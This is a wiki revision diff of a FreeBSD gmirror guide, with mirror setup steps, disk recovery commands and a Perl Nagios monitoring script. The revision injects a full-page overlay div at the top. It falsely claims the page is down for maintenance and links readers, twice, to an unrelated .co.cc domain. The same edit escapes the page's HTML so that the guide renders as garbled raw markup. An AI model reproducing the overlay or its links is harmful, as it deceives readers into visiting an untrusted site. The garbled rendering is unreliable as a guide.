Difference between revisions of "Gmirror"

From Secure Computing Wiki
Jump to: navigation, search
m (updated to reflect current livefs)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ujybyqum.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ujybyqum.co.cc CLICK HERE]=
 +
----
 +
</div>
 
== Basic Command List ==
 
== Basic Command List ==
 
;gmirror status
 
;gmirror status
Line 6: Line 14:
 
* Prints detailed information about the devices within a mirror.
 
* Prints detailed information about the devices within a mirror.
  
;gmirror remove <mirror> <device>
+
;gmirror remove &lt;mirror> &lt;device>
* Removes <device> from <mirror>.  This is the clean and preferred method.
+
* Removes &lt;device> from &lt;mirror>.  This is the clean and preferred method.
  
;gmirror forget <mirror>
+
;gmirror forget &lt;mirror>
 
* Causes missing devices to be dropped from a mirror.
 
* Causes missing devices to be dropped from a mirror.
 
*This is useful when you need to replace a drive that has failed.
 
*This is useful when you need to replace a drive that has failed.
  
;gmirror insert <mirror> <device>
+
;gmirror insert &lt;mirror> &lt;device>
* Inserts <device> into <mirror>.
+
* Inserts &lt;device> into &lt;mirror>.
  
 
== Installation ==
 
== Installation ==
<blockquote>
+
&lt;blockquote>
<p>There is a problem with the FreeBSD 6.3-RELEASE and 7.0-BETA/RELEASE CDs and this method of gmirror installation on your boot device.  I'm currently working on an updated process until the dev team can fix the fixit CD libraries for gmirror.  The super-quick fix is to use a 6.2-RELEASE disk 1 when you start up the fixit CD.</p>
+
&lt;p>There is a problem with the FreeBSD 6.3-RELEASE and 7.0-BETA/RELEASE CDs and this method of gmirror installation on your boot device.  I'm currently working on an updated process until the dev team can fix the fixit CD libraries for gmirror.  The super-quick fix is to use a 6.2-RELEASE disk 1 when you start up the fixit CD.&lt;/p>
<p>-- Eric Crist 30-Jan-2008</p>
+
&lt;p>-- Eric Crist 30-Jan-2008&lt;/p>
<p>'''UPDATE:''' There is now a solution to the above problem.  This will be fixed for 6.4 and 7.1, but you must follow the extra step below for 6.3 and 7.0 releases.</p><p>[[User:Ecrist|Ecrist]] 07:56, 28 February 2008 (CST)</p>
+
&lt;p>'''UPDATE:''' There is now a solution to the above problem.  This will be fixed for 6.4 and 7.1, but you must follow the extra step below for 6.3 and 7.0 releases.&lt;/p>&lt;p>[[User:Ecrist|Ecrist]] 07:56, 28 February 2008 (CST)&lt;/p>
</blockquote>
+
&lt;/blockquote>
  
 
* This method assumes you already have FreeBSD installed on the first drive.  Many of these steps are not necessary if your mirror is not going to be your boot device.  However, why wouldn't you want your boot device to be mirrored too?
 
* This method assumes you already have FreeBSD installed on the first drive.  Many of these steps are not necessary if your mirror is not going to be your boot device.  However, why wouldn't you want your boot device to be mirrored too?
<ol>
+
&lt;ol>
   <li>Boot system from a FreeBSD 5.4+ Install CD (full disc, not boot-only)
+
   &lt;li>Boot system from a FreeBSD 5.4+ Install CD (full disc, not boot-only)
   <li>After the installer starts, select Fixit, and From CD/DVD
+
   &lt;li>After the installer starts, select Fixit, and From CD/DVD
   <li>When the Fixit prompt appears, run the following commands:
+
   &lt;li>When the Fixit prompt appears, run the following commands:
   <pre>Fixit# mount -t devfs devfs /dist/dev
+
   &lt;pre>Fixit# mount -t devfs devfs /dist/dev
Fixit# chroot /dist</pre>
+
Fixit# chroot /dist&lt;/pre>
 
'''IF YOU HAVE A 6.3 OR 7.0 ISO, you must run the following command as well:'''
 
'''IF YOU HAVE A 6.3 OR 7.0 ISO, you must run the following command as well:'''
<pre>Fixit# unset GEOM_LIBRARY_PATH</pre>
+
&lt;pre>Fixit# unset GEOM_LIBRARY_PATH&lt;/pre>
   <li>Run the following command for each of the disks in your new array, where <device_name> is the name of the device as listed in /dev:
+
   &lt;li>Run the following command for each of the disks in your new array, where &lt;device_name> is the name of the device as listed in /dev:
   <pre>Fixit# gmirror clear /dev/<device_name></pre>
+
   &lt;pre>Fixit# gmirror clear /dev/&lt;device_name>&lt;/pre>
   <li>Load the gmirror kernel module:
+
   &lt;li>Load the gmirror kernel module:
   <pre>Fixit# gmirror load</pre>
+
   &lt;pre>Fixit# gmirror load&lt;/pre>
   <li>Create and Initialize the mirror:
+
   &lt;li>Create and Initialize the mirror:
   <pre>Fixit# gmirror label -v -b load gm0 /dev/<device_name>
+
   &lt;pre>Fixit# gmirror label -v -b load gm0 /dev/&lt;device_name>
   Fixit# mount /dev/mirror/gm0s1a /mnt</pre>
+
   Fixit# mount /dev/mirror/gm0s1a /mnt&lt;/pre>
<li>Edit /boot/loader.conf to load the geom_mirror kernel module at boot:
+
&lt;li>Edit /boot/loader.conf to load the geom_mirror kernel module at boot:
<pre>Fixit# echo 'geom_mirror_load="YES" ' >> /mnt/boot/loader.conf</pre>
+
&lt;pre>Fixit# echo 'geom_mirror_load="YES" ' >> /mnt/boot/loader.conf&lt;/pre>
<li>Edit /etc/rc.conf to turn off system swap. Swap will be handled automatically by geom:
+
&lt;li>Edit /etc/rc.conf to turn off system swap. Swap will be handled automatically by geom:
<pre>Fixit# echo 'swapoff="YES" ' >> /mnt/etc/rc.conf</pre>
+
&lt;pre>Fixit# echo 'swapoff="YES" ' >> /mnt/etc/rc.conf&lt;/pre>
<li>Edit fstab to point to /dev/mirror/gm0xxx either manually, or with sed command here:
+
&lt;li>Edit fstab to point to /dev/mirror/gm0xxx either manually, or with sed command here:
<pre>Fixit# sed -i ".bak" "s%ad0%mirror/gm0%g" /mnt/etc/fstab</pre>
+
&lt;pre>Fixit# sed -i ".bak" "s%ad0%mirror/gm0%g" /mnt/etc/fstab&lt;/pre>
 
* Note that the sed command above assumes your current boot device is ad0, change this value accordingly for your system.
 
* Note that the sed command above assumes your current boot device is ad0, change this value accordingly for your system.
 
* Thanks to Miroslav Lachman for the refined command.
 
* Thanks to Miroslav Lachman for the refined command.
   <li>Reboot your system!
+
   &lt;li>Reboot your system!
   <pre>Fixit# shutdown -r now</pre>
+
   &lt;pre>Fixit# shutdown -r now&lt;/pre>
   <li>Once the system has rebooted, insert the other device into your mirror with the following command, where <device_2_name> is the name in  /dev of your second device:
+
   &lt;li>Once the system has rebooted, insert the other device into your mirror with the following command, where &lt;device_2_name> is the name in  /dev of your second device:
  <pre>Fixit# gmirror insert gm0 /dev/<device_2_name></pre>
+
  &lt;pre>Fixit# gmirror insert gm0 /dev/&lt;device_2_name>&lt;/pre>
</ol>
+
&lt;/ol>
  
 
== Disaster Recovery ==
 
== Disaster Recovery ==
 
Inevitably, there will come a time when we need to rebuild an array due to hard disk failure or some other mean nasty.  Follow the steps below, and you'll be on your way to a COMPLETE status once again.
 
Inevitably, there will come a time when we need to rebuild an array due to hard disk failure or some other mean nasty.  Follow the steps below, and you'll be on your way to a COMPLETE status once again.
  
<ol>
+
&lt;ol>
<li>First off, remove the offending device if you haven't already done so.  Upon removal, you should see some messages indicating the loss of a device.  Something like:
+
&lt;li>First off, remove the offending device if you haven't already done so.  Upon removal, you should see some messages indicating the loss of a device.  Something like:
<pre>(da1:ahc0:0:1:0): lost device
+
&lt;pre>(da1:ahc0:0:1:0): lost device
 
(da1:ahc0:0:1:0): Invalidating pack
 
(da1:ahc0:0:1:0): Invalidating pack
 
GEOM_MIRROR: Cannot write metadata on da1 (device=gm0, error=6).
 
GEOM_MIRROR: Cannot write metadata on da1 (device=gm0, error=6).
Line 64: Line 72:
 
GEOM_MIRROR: Device gm0: provider da1 disconnected.
 
GEOM_MIRROR: Device gm0: provider da1 disconnected.
 
(da1:ahc0:0:1:0): Synchronize cache failed, status == 0x4a, scsi status == 0x0
 
(da1:ahc0:0:1:0): Synchronize cache failed, status == 0x4a, scsi status == 0x0
(da1:ahc0:0:1:0): removing device entry</pre>
+
(da1:ahc0:0:1:0): removing device entry&lt;/pre>
 
You'll also notice that the device entry has disappeared from /dev.
 
You'll also notice that the device entry has disappeared from /dev.
<li>Once the disk has been removed, replace it with a shiny new(ish) drive.
+
&lt;li>Once the disk has been removed, replace it with a shiny new(ish) drive.
<li>Reread the SCSI or ATA bus with the appropriate command:
+
&lt;li>Reread the SCSI or ATA bus with the appropriate command:
* SCSI (where 0 is the bus_id):<pre># camcontrol rescan 0</pre>
+
* SCSI (where 0 is the bus_id):&lt;pre># camcontrol rescan 0&lt;/pre>
* ATA (where 0 is the bus_id):<pre># atacontrol attach 0</pre>
+
* ATA (where 0 is the bus_id):&lt;pre># atacontrol attach 0&lt;/pre>
 
You should see something like this in dmesg output:
 
You should see something like this in dmesg output:
<pre>da1 at ahc0 bus 0 target 1 lun 0
+
&lt;pre>da1 at ahc0 bus 0 target 1 lun 0
da1: <SEAGATE ST318305LC 2202> Fixed Direct Access SCSI-3 device
+
da1: &lt;SEAGATE ST318305LC 2202> Fixed Direct Access SCSI-3 device
 
da1: 160.000MB/s transfers (80.000MHz, offset 63, 16bit), Tagged Queueing Enabled
 
da1: 160.000MB/s transfers (80.000MHz, offset 63, 16bit), Tagged Queueing Enabled
da1: 17366MB (35566478 512 byte sectors: 255H 63S/T 2213C)</pre>
+
da1: 17366MB (35566478 512 byte sectors: 255H 63S/T 2213C)&lt;/pre>
<li>Tell gmirror to forget about the missing drive, so we can insert the new one.
+
&lt;li>Tell gmirror to forget about the missing drive, so we can insert the new one.
<pre># gmirror forget gm0</pre>
+
&lt;pre># gmirror forget gm0&lt;/pre>
<li>Insert the new disk into the mirror where <new_device> is the full path to the new device (ex /dev/da1):
+
&lt;li>Insert the new disk into the mirror where &lt;new_device> is the full path to the new device (ex /dev/da1):
<pre># gmirror insert gm0 <new_device></pre>
+
&lt;pre># gmirror insert gm0 &lt;new_device>&lt;/pre>
 
If the above command is successful, you'll see a message similar to:
 
If the above command is successful, you'll see a message similar to:
<pre>GEOM_MIRROR: Device gm0: provider da1 detected.
+
&lt;pre>GEOM_MIRROR: Device gm0: provider da1 detected.
GEOM_MIRROR: Device gm0: rebuilding provider da1.</pre>
+
GEOM_MIRROR: Device gm0: rebuilding provider da1.&lt;/pre>
<li>Check the status of the rebuild with gmirror status command:
+
&lt;li>Check the status of the rebuild with gmirror status command:
<pre>gmirror status
+
&lt;pre>gmirror status
 
       Name    Status  Components
 
       Name    Status  Components
 
mirror/gm0  DEGRADED  da0
 
mirror/gm0  DEGRADED  da0
                       da1 (48%)</pre>
+
                       da1 (48%)&lt;/pre>
</ol>
+
&lt;/ol>
 
== Monitoring your gmirror ==
 
== Monitoring your gmirror ==
 
I've written a small perl script that will allow you to monitor the health of your gmirror array with NRPE and Nagios.  You may download it [[Media:check_gmirror.tar|here]], or the text is below:
 
I've written a small perl script that will allow you to monitor the health of your gmirror array with NRPE and Nagios.  You may download it [[Media:check_gmirror.tar|here]], or the text is below:
<pre>
+
&lt;pre>
 
#!/usr/bin/perl
 
#!/usr/bin/perl
 
use strict;
 
use strict;
Line 118: Line 126:
 
         exit $ERRORS{'CRITICAL'};
 
         exit $ERRORS{'CRITICAL'};
 
}
 
}
</pre>
+
&lt;/pre>
  
 
== Other Links ==
 
== Other Links ==
 
* gongoputch (freenode IRC) has a good 'running' how-to at [http://bsdtips.utcorp.net/mediawiki/index.php/Upgrading_to_gmirror http://bsdtips.utcorp.net/mediawiki/index.php/Upgrading_to_gmirror].
 
* gongoputch (freenode IRC) has a good 'running' how-to at [http://bsdtips.utcorp.net/mediawiki/index.php/Upgrading_to_gmirror http://bsdtips.utcorp.net/mediawiki/index.php/Upgrading_to_gmirror].
 
* [http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/geom-mirror.html FreeBSD gmirror handbook page]
 
* [http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/geom-mirror.html FreeBSD gmirror handbook page]

Revision as of 17:45, 23 November 2010



Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page


CLICK HERE


Basic Command List

gmirror status
  • Lists the current status of all gmirrors on the system.
gmirror list
  • Prints detailed information about the devices within a mirror.
gmirror remove <mirror> <device>
  • Removes <device> from <mirror>. This is the clean and preferred method.
gmirror forget <mirror>
  • Causes missing devices to be dropped from a mirror.
  • This is useful when you need to replace a drive that has failed.
gmirror insert <mirror> <device>
  • Inserts <device> into <mirror>.

Installation

<blockquote> <p>There is a problem with the FreeBSD 6.3-RELEASE and 7.0-BETA/RELEASE CDs and this method of gmirror installation on your boot device. I'm currently working on an updated process until the dev team can fix the fixit CD libraries for gmirror. The super-quick fix is to use a 6.2-RELEASE disk 1 when you start up the fixit CD.</p> <p>-- Eric Crist 30-Jan-2008</p> <p>UPDATE: There is now a solution to the above problem. This will be fixed for 6.4 and 7.1, but you must follow the extra step below for 6.3 and 7.0 releases.</p><p>Ecrist 07:56, 28 February 2008 (CST)</p> </blockquote>

  • This method assumes you already have FreeBSD installed on the first drive. Many of these steps are not necessary if your mirror is not going to be your boot device. However, why wouldn't you want your boot device to be mirrored too?

<ol>

 <li>Boot system from a FreeBSD 5.4+ Install CD (full disc, not boot-only)
 <li>After the installer starts, select Fixit, and From CD/DVD
 <li>When the Fixit prompt appears, run the following commands:
 <pre>Fixit# mount -t devfs devfs /dist/dev

Fixit# chroot /dist</pre> IF YOU HAVE A 6.3 OR 7.0 ISO, you must run the following command as well: <pre>Fixit# unset GEOM_LIBRARY_PATH</pre>

 <li>Run the following command for each of the disks in your new array, where <device_name> is the name of the device as listed in /dev:
 <pre>Fixit# gmirror clear /dev/<device_name></pre>
 <li>Load the gmirror kernel module:
 <pre>Fixit# gmirror load</pre>
 <li>Create and Initialize the mirror:
 <pre>Fixit# gmirror label -v -b load gm0 /dev/<device_name>
 Fixit# mount /dev/mirror/gm0s1a /mnt</pre>

<li>Edit /boot/loader.conf to load the geom_mirror kernel module at boot: <pre>Fixit# echo 'geom_mirror_load="YES" ' >> /mnt/boot/loader.conf</pre> <li>Edit /etc/rc.conf to turn off system swap. Swap will be handled automatically by geom: <pre>Fixit# echo 'swapoff="YES" ' >> /mnt/etc/rc.conf</pre> <li>Edit fstab to point to /dev/mirror/gm0xxx either manually, or with sed command here: <pre>Fixit# sed -i ".bak" "s%ad0%mirror/gm0%g" /mnt/etc/fstab</pre>

  • Note that the sed command above assumes your current boot device is ad0, change this value accordingly for your system.
  • Thanks to Miroslav Lachman for the refined command.
 <li>Reboot your system!
 <pre>Fixit# shutdown -r now</pre>
 <li>Once the system has rebooted, insert the other device into your mirror with the following command, where <device_2_name> is the name in  /dev of your second device:
<pre>Fixit# gmirror insert gm0 /dev/<device_2_name></pre>

</ol>

Disaster Recovery

Inevitably, there will come a time when we need to rebuild an array due to hard disk failure or some other mean nasty. Follow the steps below, and you'll be on your way to a COMPLETE status once again.

<ol> <li>First off, remove the offending device if you haven't already done so. Upon removal, you should see some messages indicating the loss of a device. Something like: <pre>(da1:ahc0:0:1:0): lost device (da1:ahc0:0:1:0): Invalidating pack GEOM_MIRROR: Cannot write metadata on da1 (device=gm0, error=6). GEOM_MIRROR: Cannot update metadata on disk da1 (error=6). GEOM_MIRROR: Device gm0: provider da1 disconnected. (da1:ahc0:0:1:0): Synchronize cache failed, status == 0x4a, scsi status == 0x0 (da1:ahc0:0:1:0): removing device entry</pre> You'll also notice that the device entry has disappeared from /dev. <li>Once the disk has been removed, replace it with a shiny new(ish) drive. <li>Reread the SCSI or ATA bus with the appropriate command:

  • SCSI (where 0 is the bus_id):<pre># camcontrol rescan 0</pre>
  • ATA (where 0 is the bus_id):<pre># atacontrol attach 0</pre>

You should see something like this in dmesg output: <pre>da1 at ahc0 bus 0 target 1 lun 0 da1: <SEAGATE ST318305LC 2202> Fixed Direct Access SCSI-3 device da1: 160.000MB/s transfers (80.000MHz, offset 63, 16bit), Tagged Queueing Enabled da1: 17366MB (35566478 512 byte sectors: 255H 63S/T 2213C)</pre> <li>Tell gmirror to forget about the missing drive, so we can insert the new one. <pre># gmirror forget gm0</pre> <li>Insert the new disk into the mirror where <new_device> is the full path to the new device (ex /dev/da1): <pre># gmirror insert gm0 <new_device></pre> If the above command is successful, you'll see a message similar to: <pre>GEOM_MIRROR: Device gm0: provider da1 detected. GEOM_MIRROR: Device gm0: rebuilding provider da1.</pre> <li>Check the status of the rebuild with gmirror status command: <pre>gmirror status

     Name    Status  Components

mirror/gm0 DEGRADED da0

                     da1 (48%)</pre>

</ol>

Monitoring your gmirror

I've written a small perl script that will allow you to monitor the health of your gmirror array with NRPE and Nagios. You may download it here, or the text is below: <pre>

  1. !/usr/bin/perl

use strict; use warnings;

use lib "/usr/local/libexec/nagios"; use utils qw(%ERRORS);

my $result = `/sbin/gmirror status`; $result =~ m/(DEGRADED|COMPLETE)/g; my $status = $1; my $rebuild = ($result =~ m/(\w\w\d \(\d\d?\%\))/); $result =~ m/(\w\w\d \(\d\d?\%\))/; my $progress = $1;


if ($status =~ /COMPLETE/){

       print "Raid Optimal\n";
       exit $ERRORS{'OK'};

} elsif (($status =~ /DEGRADED/) and ($rebuild == 1)) {

       print "Raid Reconstructing: $progress\n";
       exit $ERRORS{'WARNING'};

} else {

       print "Raid Critical!\n";
       exit $ERRORS{'CRITICAL'};

} </pre>

Other Links